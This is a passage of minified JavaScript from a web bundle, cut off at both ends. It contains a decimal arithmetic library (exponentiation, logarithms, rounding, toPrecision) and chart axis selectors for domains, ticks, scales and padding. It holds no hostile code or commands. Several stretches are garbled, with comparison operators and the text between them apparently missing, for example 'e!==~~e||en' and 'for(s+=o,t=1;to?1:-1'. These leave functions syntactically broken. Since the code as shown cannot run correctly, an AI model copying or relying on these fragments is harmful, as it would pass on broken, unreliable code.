c(ln),t=Math.ceil(r/We+4),Ge=!1;n%2&&(i=i.times(l),y2(i.d,t)),n=ks(n/2),n!==0;)l=l.times(l),y2(l.d,t);return Ge=!0,e.s<0?new c(ln).div(i):Ie(i,r)}}else if(s<0)throw Error(Tn+"NaN");return s=s<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Ge=!1,i=e.times(Zo(l,r+u)),Ge=!0,i=T4(i),i.s=s,i};pe.toPrecision=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?(n=ft(i),r=ha(i,n<=s.toExpNeg||n>=s.toExpPos)):(pr(e,1,Ns),t===void 0?t=s.rounding:pr(t,0,8),i=Ie(new s(i),e,t),n=ft(i),r=ha(i,e<=n||n<=s.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(pr(e,1,Ns),t===void 0?t=r.rounding:pr(t,0,8)),Ie(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ft(e),n=e.constructor;return ha(e,t<=n.toExpNeg||t>=n.toExpPos)};function O4(e,t){var n,r,i,s,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Ge?Ie(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),s=o-i,s){for(s<0?(r=c,s=-s,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/We),l=o>l?o+1:l+1,s>l&&(s=l,r.length=1),r.reverse();s--;)r.push(0);r.reverse()}for(l=c.length,s=u.length,l-s<0&&(s=l,r=u,u=c,c=r),n=0;s;)n=(c[--s]=c[s]+u[s]+n)/wt|0,c[s]%=wt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Ge?Ie(t,f):t}function pr(e,t,n){if(e!==~~e||en)throw Error(ta+e)}function cr(e){var t,n,r,i=e.length-1,s="",o=e[0];if(i>0){for(s+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,s){for(var o=0;s--;)r[s]-=o,o=r[s]1;)r.shift()}return function(r,i,s,o){var l,c,u,d,f,p,h,x,g,y,v,b,w,j,N,k,z,S,O=r.constructor,A=r.s==i.s?1:-1,T=r.d,P=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(Tn+"Division by zero");for(c=r.e-i.e,z=P.length,N=T.length,h=new O(A),x=h.d=[],u=0;P[u]==(T[u]||0);)++u;if(P[u]>(T[u]||0)&&--c,s==null?b=s=O.precision:o?b=s+(ft(r)-ft(i))+1:b=s,b<0)return new O(0);if(b=b/We+2|0,u=0,z==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),T=e(T,d),z=P.length,N=T.length),j=z,g=T.slice(0,z),y=g.length;y=wt/2&&++k;do d=0,l=t(P,g,z,y),l<0?(v=g[0],z!=y&&(v=v*wt+(g[1]||0)),d=v/k|0,d>1?(d>=wt&&(d=wt-1),f=e(P,d),p=f.length,y=g.length,l=t(f,g,p,y),l==1&&(d--,n(f,z16)throw Error(C0+ft(e));if(!e.s)return new d(ln);for(Ge=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ui(2,u))/Math.LN10*2+5|0,l+=r,n=i=s=new d(ln),d.precision=l;;){if(i=Ie(i.times(e),l),n=n.times(++c),o=s.plus(Er(i,n,l)),cr(o.d).slice(0,l)===cr(s.d).slice(0,l)){for(;u--;)s=Ie(s.times(s),l);return d.precision=f,t==null?(Ge=!0,Ie(s,f)):s}s=o}}function ft(e){for(var t=e.e*We,n=e.d[0];n>=10;n/=10)t++;return t}function jm(e,t,n){if(t>e.LN10.sd())throw Ge=!0,n&&(e.precision=n),Error(Tn+"LN10 precision limit exceeded");return Ie(new e(e.LN10),t)}function ri(e){for(var t="";e--;)t+="0";return t}function Zo(e,t){var n,r,i,s,o,l,c,u,d,f=1,p=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Tn+(h.s?"NaN":"-Infinity"));if(h.eq(ln))return new g(0);if(t==null?(Ge=!1,u=y):u=t,h.eq(10))return t==null&&(Ge=!0),jm(g,u);if(u+=p,g.precision=u,n=cr(x),r=n.charAt(0),s=ft(h),Math.abs(s)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=cr(h.d),r=n.charAt(0),f++;s=ft(h),r>1?(h=new g("0."+n),s++):h=new g(r+"."+n.slice(1))}else return c=jm(g,u+2,y).times(s+""),h=Zo(new g(r+"."+n.slice(1)),u-p).plus(c),g.precision=y,t==null?(Ge=!0,Ie(h,y)):h;for(l=o=h=Er(h.minus(ln),h.plus(ln),u),d=Ie(h.times(h),u),i=3;;){if(o=Ie(o.times(d),u),c=l.plus(Er(o,new g(i),u)),cr(c.d).slice(0,u)===cr(l.d).slice(0,u))return l=l.times(2),s!==0&&(l=l.plus(jm(g,u+2,y).times(s+""))),l=Er(l,new g(f),u),g.precision=y,t==null?(Ge=!0,Ie(l,y)):l;l=c,i+=2}}function g2(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ks(n/We),e.d=[],r=(n+1)%We,n<0&&(r+=We),rLu||e.e<-Lu))throw Error(C0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ie(e,t,n){var r,i,s,o,l,c,u,d,f=e.d;for(o=1,s=f[0];s>=10;s/=10)o++;if(r=t-o,r<0)r+=We,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/We),s=f.length,d>=s)return e;for(u=s=f[d],o=1;s>=10;s/=10)o++;r%=We,i=r-We+o}if(n!==void 0&&(s=Ui(10,o-i-1),l=u/s%10|0,c=t<0||f[d+1]!==void 0||u%s,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ui(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(s=ft(e),f.length=1,t=t-s-1,f[0]=Ui(10,(We-t%We)%We),e.e=ks(-t/We)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,s=1,d--):(f.length=d+1,s=Ui(10,We-r),f[d]=i>0?(u/Ui(10,o-i)%Ui(10,i)|0)*s:0),c)for(;;)if(d==0){(f[0]+=s)==wt&&(f[0]=1,++e.e);break}else{if(f[d]+=s,f[d]!=wt)break;f[d--]=0,s=1}for(r=f.length;f[--r]===0;)f.pop();if(Ge&&(e.e>Lu||e.e<-Lu))throw Error(C0+ft(e));return e}function M4(e,t){var n,r,i,s,o,l,c,u,d,f,p=e.constructor,h=p.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new p(e),Ge?Ie(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/We),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?s=s.charAt(0)+"."+s.slice(1)+ri(r):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(i<0?"e":"e+")+i):i<0?(s="0."+ri(-i-1)+s,n&&(r=n-o)>0&&(s+=ri(r))):i>=o?(s+=ri(i+1-o),n&&(r=n-i-1)>0&&(s=s+"."+ri(r))):((r=i+1)0&&(i+1===o&&(s+="."),s+=ri(r))),e.s<0?"-"+s:s}function y2(e,t){if(e.length>t)return e.length=t,!0}function L4(e){var t,n,r;function i(s){var o=this;if(!(o instanceof i))return new i(s);if(o.constructor=i,s instanceof i){o.s=s.s,o.e=s.e,o.d=(s=s.d)?s.slice():s;return}if(typeof s=="number"){if(s*0!==0)throw Error(ta+s);if(s>0)o.s=1;else if(s<0)s=-s,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(s===~~s&&s<1e7){o.e=0,o.d=[s];return}return g2(o,s.toString())}else if(typeof s!="string")throw Error(ta+s);if(s.charCodeAt(0)===45?(s=s.slice(1),o.s=-1):o.s=1,mI.test(s))g2(o,s);else throw Error(ta+s)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=L4,i.config=i.set=pI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ta+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ta+n+": "+r);return this}var P0=L4(fI);ln=new P0(1);const Te=P0;function I4(e){var t;return e===0?t=1:t=Math.floor(new Te(e).abs().log(10).toNumber())+1,t}function D4(e,t,n){for(var r=new Te(e),i=0,s=[];r.lt(t)&&i<1e5;)s.push(r.toNumber()),r=r.add(n),i++;return s}var R4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},$4=(e,t,n)=>{if(e.lte(0))return new Te(0);var r=I4(e.toNumber()),i=new Te(10).pow(r),s=e.div(i),o=r!==1?.05:.1,l=new Te(Math.ceil(s.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Te(c.toNumber()):new Te(Math.ceil(c.toNumber()))},hI=(e,t,n)=>{var r=new Te(1),i=new Te(e);if(!i.isint()&&n){var s=Math.abs(e);s<1?(r=new Te(10).pow(I4(e)-1),i=new Te(Math.floor(i.div(r).toNumber())).mul(r)):s>1&&(i=new Te(Math.floor(e)))}else e===0?i=new Te(Math.floor((t-1)/2)):n||(i=new Te(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Te(0),tickMin:new Te(0),tickMax:new Te(0)};var o=$4(new Te(n).sub(t).div(r-1),i,s),l;t<=0&&n>=0?l=new Te(0):(l=new Te(t).add(n).div(2),l=l.sub(new Te(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Te(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?B4(t,n,r,i,s+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Te(c).mul(o)),tickMax:l.add(new Te(u).mul(o))})},xI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=R4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return hI(l,i,s);var{step:d,tickMin:f,tickMax:p}=B4(l,c,o,s,0),h=D4(f,p.add(new Te(.1).mul(d)),d);return n>r?h.reverse():h},vI=function(t,n){var[r,i]=t,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=R4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=$4(new Te(l).sub(o).div(c-1),s,0),d=[...D4(new Te(o),new Te(l),u),l];return s===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},gI=e=>e.rootProps.barCategoryGap,xl=e=>e.rootProps.stackOffset,F4=e=>e.rootProps.reverseStackOrder,E0=e=>e.options.chartName,_0=e=>e.rootProps.syncId,W4=e=>e.rootProps.syncMethod,A0=e=>e.options.eventEmitter,yI=e=>e.rootProps.baseValue,Zt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},Ii={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},nr={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},rf=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function U4(e,t,n){if(n!=="auto")return n;if(e!=null)return vr(e,t)?"category":"number"}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Iu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},O0=I([NI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"angleAxis",w2.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},w2),{},{type:r})}),kI=(e,t)=>e.polarAxis.radiusAxis[t],T0=I([kI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"radiusAxis",j2.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},j2),{},{type:r})}),af=e=>e.polarOptions,M0=I([Hr,Kr,kt],Wk),V4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.innerRadius,t,0)}),H4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.outerRadius,t,t*.8)}),zI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},K4=I([af],zI);I([O0,K4],rf);var G4=I([M0,V4,H4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});I([T0,G4],rf);var Y4=I([De,af,V4,H4,Hr,Kr],(e,t,n,r,i,s)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:fn(o,i,i/2),cy:fn(l,s,s/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Je=(e,t)=>t,vl=(e,t,n)=>n;function L0(e){return e==null?void 0:e.id}function q4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:s}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=L0(l);u.forEach((f,p)=>{var h=s==null||i?p:String(Ve(f,s,null)),x=Ve(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function I0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var sf=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function of(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function SI(e,t){if(e.length===t.length){for(var n=0;n{var t=De(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},zs=e=>e.tooltip.settings.axisId;function CI(e){if(e in io)return io[e]();var t="scale".concat(sl(e));if(t in io)return io[t]()}function N2(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(s){function o(){return s.apply(this,arguments)}return o.toString=function(){return s.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(s){var o=i[0],l=i[1];return o<=l?s>=o&&s<=l:s>=l&&s<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?s=>t.call(e,s):void 0,map:(s,o)=>{var l=e(s);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function k2(e,t,n){if(typeof e=="function")return N2(e.copy().domain(t).range(n));if(e!=null){var r=CI(e);if(r!=null)return r.domain(t).range(n),N2(r)}}var X4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Br(t)){for(var n,r,i=0;ir)&&(r=s))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function z2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Du(e){for(var t=1;te.cartesianAxis.xAxis[t],qr=(e,t)=>{var n=AI(e,t);return n??Z4},Q4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:gh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:cl},OI=(e,t)=>e.cartesianAxis.yAxis[t],Xr=(e,t)=>{var n=OI(e,t);return n??Q4},TI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},D0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??TI},it=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"zAxis":return D0(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},MI=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},Ss=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},J4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function R0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var e3=e=>e.graphicalItems.cartesianItems,LI=I([Je,vl],R0),$0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),gl=I([e3,it,LI],$0,{memoizeOptions:{resultEqualityCheck:of}}),t3=I([gl],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(I0)),n3=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),II=I([gl],n3),B0=e=>e.map(t=>t.data).filter(Boolean).flat(1),DI=I([gl],B0,{memoizeOptions:{resultEqualityCheck:of}}),F0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},W0=I([DI,E4],F0),U0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ve(i,r)}))):e.map(r=>({value:r})),lf=I([W0,it,gl],U0);function r3(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function zc(e){if(Lr(e)||e instanceof Date){var t=Number(e);if(Ee(t))return t}}function S2(e){if(Array.isArray(e)){var t=[zc(e[0]),zc(e[1])];return Br(t)?t:void 0}var n=zc(e);if(n!=null)return[n,n]}function Fr(e){return e.map(zc).filter(or)}function RI(e,t,n){return!n||typeof t!="number"||mr(t)?[]:n.length?Fr(n.flatMap(r=>{var i=Ve(e,r.dataKey),s,o;if(Array.isArray(i)?[s,o]=i:s=o=i,!(!Ee(s)||!Ee(o)))return[t-s,t+o]})):[]}var yt=e=>{var t=St(e),n=zs(e);return Ss(e,t,n)},yl=I([yt],e=>e==null?void 0:e.dataKey),$I=I([t3,E4,yt],q4),i3=(e,t,n,r)=>{var i={},s=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(s).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(L0);return[l,{stackedData:NT(e,d,n),graphicalItems:u}]}))},a3=I([$I,t3,xl,F4],i3),s3=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:s}=t;if(r==null&&n!=="zAxis"){var o=CT(e,i,s);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},BI=I([it],e=>e.allowDataOverflow),V0=e=>{var t;if(e==null||!("domain"in e))return gh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Fr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:gh},H0=I([it],V0),K0=I([H0,BI],_4),FI=I([a3,Yr,Je,K0],s3,{memoizeOptions:{resultEqualityCheck:sf}}),cf=e=>e.errorBars,WI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>r3(n,r)),Ru=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var s,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>r3(i,v)),p=Ve(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=RI(l,p,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(s==null||xo)&&(o=g)}var y=S2(p);y!=null&&(s=s==null?y[0]:Math.min(s,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=S2(Ve(l,t.dataKey));c!=null&&(s=s==null?c[0]:Math.min(s,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),Ee(s)&&Ee(o))return[s,o]},UI=I([W0,it,II,cf,Je],G0,{memoizeOptions:{resultEqualityCheck:sf}});function VI(e){var{value:t}=e;if(Lr(t)||t instanceof Date)return t}var HI=(e,t,n)=>{var r=e.map(VI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&sN(r))?qk(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},o3=e=>e.referenceElements.dots,Cs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),KI=I([o3,Je,vl],Cs),l3=e=>e.referenceElements.areas,GI=I([l3,Je,vl],Cs),c3=e=>e.referenceElements.lines,YI=I([c3,Je,vl],Cs),u3=(e,t)=>{if(e!=null){var n=Fr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},qI=I(KI,Je,u3),d3=(e,t)=>{if(e!=null){var n=Fr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},XI=I([GI,Je],d3);function ZI(e){var t;if(e.x!=null)return Fr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Fr(n)}function QI(e){var t;if(e.y!=null)return Fr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Fr(n)}var f3=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?ZI(r):QI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},JI=I([YI,Je],f3),eD=I(qI,JI,XI,(e,t,n)=>Ru(e,n,t)),Y0=(e,t,n,r,i,s,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Ru(r,s,i):Ru(s,i);return dI(t,u,e.allowDataOverflow)},tD=I([it,H0,K0,FI,UI,eD,De,Je],Y0,{memoizeOptions:{resultEqualityCheck:sf}}),nD=[0,1],q0=(e,t,n,r,i,s,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=vr(t,s);if(u&&l==null){var d;return qk(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?HI(r,e,u):i==="expand"?nD:o}},X0=I([it,De,W0,lf,xl,Je,tD],q0);function rD(e){return e in io}var m3=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var s="scale".concat(sl(r));return rD(s)?s:"point"}}},Ti=I([it,J4,E0],m3);function Z0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?k2(e.scale,n,r):k2(t,n,r)}var Q0=(e,t,n)=>{var r=V0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Br(e))return xI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Br(e))return vI(e,t.tickCount,t.allowDecimals)}},J0=I([X0,Ss,Ti],Q0),ev=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Br(t)&&Array.isArray(n)&&n.length>0){var i,s,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(s=n[n.length-1])!==null&&s!==void 0?s:0;return[Math.min(o,l),Math.max(c,u)]}return t},iD=I([it,X0,J0,Je],ev),aD=I(lf,it,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Fr(e.map(f=>f.value))).sort((f,p)=>f-p),i=r[0],s=r[r.length-1];if(i==null||s==null)return 1/0;var o=s-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!Ee(e))return 0;var s=t==="vertical"?r.height:r.width;if(i==="gap")return e*s/2;if(i==="no-gap"){var o=fn(n,e*s),l=e*s/2;return l-o-(l-o)/s*o}return 0}),sD=(e,t,n)=>{var r=qr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"xAxis",t,n,r.padding)},oD=(e,t,n)=>{var r=Xr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"yAxis",t,n,r.padding)},lD=I(qr,sD,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),cD=I(Xr,oD,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),uD=I([kt,lD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:s}=r;return i?[s.left,n.width-s.right]:[e.left+t.left,e.left+e.width-t.right]}),dD=I([kt,De,cD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i,s)=>{var{padding:o}=i;return s?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),bl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return uD(e,n,r);case"yAxis":return dD(e,n,r);case"zAxis":return(i=D0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return K4(e);case"radiusAxis":return G4(e,n);default:return}},h3=I([it,bl],rf),fD=I([Ti,iD],X4),uf=I([it,Ti,fD,h3],Z0);I([gl,cf,Je],WI);function x3(e,t){return e.idt.id?1:0}var df=(e,t)=>t,ff=(e,t,n)=>n,mD=I($d,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),pD=I(Bd,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),v3=(e,t)=>({width:e.width,height:t.height}),hD=(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}};I(kt,qr,v3);var xD=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},vD=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},gD=I(Kr,kt,mD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=v3(t,l);o==null&&(o=xD(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;s[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),s}),yD=I(Hr,kt,pD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=hD(t,l);o==null&&(o=vD(t,r,e));var u=r==="left"&&!i||r==="right"&&i;s[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),s}),bD=(e,t)=>{var n=qr(e,t);if(n!=null)return 